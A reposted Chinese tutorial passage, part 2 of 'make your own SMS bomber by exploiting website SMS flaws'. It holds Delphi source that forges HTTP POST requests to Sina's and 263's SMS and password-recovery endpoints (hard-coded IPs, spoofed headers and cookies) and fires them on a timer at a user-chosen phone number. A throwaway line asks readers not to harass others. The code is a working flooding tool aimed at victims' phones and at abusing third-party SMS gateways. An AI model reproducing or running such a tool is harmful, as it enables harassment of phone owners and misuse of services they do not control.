利用网站短信漏洞，做自己的手机短信轰炸机(2)

sends:=sends ''''User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)'''' #13#10;
sends:=sends ''''Host: sms.sina.com.cn'''' #13#10;
sends:=sends ''''Cache-Control: no-cache'''' #13 #10;
sends:=sends ''''Cookie: SMSLOGIN=0; USRTYPE=C'''' #13 #10;
//发送的内容
url.inputstring:=trim(edit1.text);
sendc:=''''mobile='''' url.Encode;
sendc:=sendc ''''&lang=1&ad_tag=1'''';
sends:=sends ''''Content-Length: '''' inttostr(length(sendc)) #13#10;
sends:=sends ''''Connection: Keep-Alive'''' #13 #10 #13#10 sendc;
clientsocket1.Host :=''''202.108.37.148'''';
clientsocket1.Port :=80;
clientsocket1.Socket.SendText(sends);
end;

procedure TForm1.ClientSocket1Connect(Sender: TObject;
Socket: TCustomWinSocket);
begin
BuildHttpHeadForSina(); //对新浪短信网进行轰炸
end;

//定时发送

procedure TForm1.Timer1Timer(Sender: TObject);
begin
Timer1.Interval :=strtoint(trim(edit2.text));
timer1.Enabled :=true;
BuildHttpHeadForSina();
end;

procedure TForm1.Edit1KeyPress(Sender: TObject; var Key: Char);
begin
if not (key in [''''0''''..''''9'''',#8,#13]) then
begin
key :=#0;
end;
end;

procedure TForm1.Edit2KeyPress(Sender: TObject; var Key: Char);
begin
if not (key in [''''0''''..''''9'''',#8,#13]) then
begin
key :=#0;
end;
end;

//这个是用于263短信网站的，目前还没试验成功

procedure TForm1.BuildHttpHeadFor263;
var
sends,sendc:string;
begin
//Http头信息
sends:=''''POST /cgi-bin/mobile/bin/user_getpass.cgi HTTP/1.1'''' #13#10;
sends:=sends ''''Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, application/x-shockwave-flash, */*'''' #13#10;
sends:=sends ''''Referer: http://sms.263.net/getpass.html'''' #13#10;
sends:=sends ''''Accept-Language: zh-cn'''' #13#10;
sends:=sends ''''Content-Type: application/x-www-form-urlencoded'''' #13#10;
sends:=sends ''''Accept-Encoding: gzip, deflate'''' #13#10;
sends:=sends ''''User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)'''' #13#10;
sends:=sends ''''Host: sms.263.net'''' #13#10;
sends:=sends ''''Cache-Control: no-cache'''' #13 #10;
sends:=sends ''''Cookie: SMSLOGIN=0; USRTYPE=C'''' #13 #10;
//发送的内容
url.inputstring:=trim(edit1.text);
sendc:=''''phone='''' url.Encode;
sendc:=sendc ''''&Submit2=确定'''';
sends:=sends ''''Content-Length: '''' inttostr(length(sendc)) #13#10;
sends:=sends ''''Connection: Keep-Alive'''' #13 #10 #13#10 sendc;
clientsocket1.Host :=''''210.78.128.62'''';
clientsocket1.Port :=80;
clientsocket1.Socket.SendText(sends);
end;

end.

有时间大家可以多试几个手机短信网站，不过千万不要随便骚扰别人啊～～～ ：）

标签：

版权申明：本站文章部分自网络，如有侵权，请联系：west999com@outlook.com
特别注意：本站所有转载文章言论不代表本站观点，本站所提供的摄影照片，插画，设计作品，如需使用，请与原作者联系，版权归原作者所有